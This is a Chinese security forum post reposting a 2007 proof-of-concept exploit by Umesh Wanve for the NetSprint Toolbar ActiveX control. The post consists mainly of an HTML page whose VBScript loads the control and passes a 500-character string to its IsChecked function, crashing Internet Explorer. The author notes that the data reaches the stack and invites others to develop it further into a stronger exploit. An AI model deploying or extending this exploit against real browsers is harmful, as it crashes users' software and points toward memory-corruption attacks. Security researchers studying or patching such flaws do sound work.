‹‹ 上一主题 | 下一主题 ››
发新话题
打印

NetSprint Toolbar ActiveX toolbar.dll Denial of Service POC

pub!1c

魔

团队执行官

Rank: 8Rank: 8

E.S.T核心成员

帖子
3926 
精华
128 
积分
209876 
阅读权限
200 
性别
男 
在线时间
1108 小时 
注册时间
2007-10-23 
最后登录
2008-9-5 

资料收集奖 运营支持奖

楼主 大 中 小 发表于 2007-4-25 01:02  只看该作者

NetSprint Toolbar ActiveX toolbar.dll Denial of Service POC

复制内容到剪贴板
代码:
<!--

===============================================================================================
            NetSprint Toolbar ActiveX toolbar.dll DOS POC
                      By Umesh Wanve
==============================================================================================  
   
Date :   24-04-2007

Tested on: Windows 2000 SP4 Server English
       Windows 2000 SP4 Professional English

Reference: [url]http://www.securityfocus.com/bid/23530[/url]

Vendor:  [url]http://netsprint.pl/toolbar/install.html[/url]
     



Desc: This is very interesting vulnerability. The function ischecked() takes URL as string parameter.
    But actually it is not handled by dll. When we don&#39;t give any parameter i.e. target.ischecked "" the
    IE works fine. But when we supply data as parameter the IE crashes. Interestingly you can able to
    see your data on the stack. But I am not able to overwrite any registers or SEH. So though our
    data is on the stack. Its hard to exploit. So only dos.

    May be someone can get success in this. Let me know if u find.


PS. This was written for educational purpose. Use it at your own risk.Author will be not be
   responsible for any damage.

Always thanks to Metasploit and Stroke.

-->


<html>

<title>
NetSprint Toolbar ActiveX toolbar.dll DOS POC - By Umesh Wanve
</title>


<body>
<OBJECT id="target" WIDTH=445 HEIGHT=40 classid="clsid:34F459B8-1D37-4FF2-9EFA-192D8E3ABA6F" > </OBJECT>

<script language="vbscript">


targetFile = "C:\WINNT\Downloaded Program Files\toolbar.dll"
prototype = "Function IsChecked ( ByVal url As String ) As Long"
memberName = "IsChecked"
progid   = "SoftomateLib.SoftomateObj"
argCount  = 1

arg1=String(500, "A")

target.IsChecked arg1

</script>

</body>

</html>

TOP

‹‹ 上一主题 | 下一主题 ››
发新话题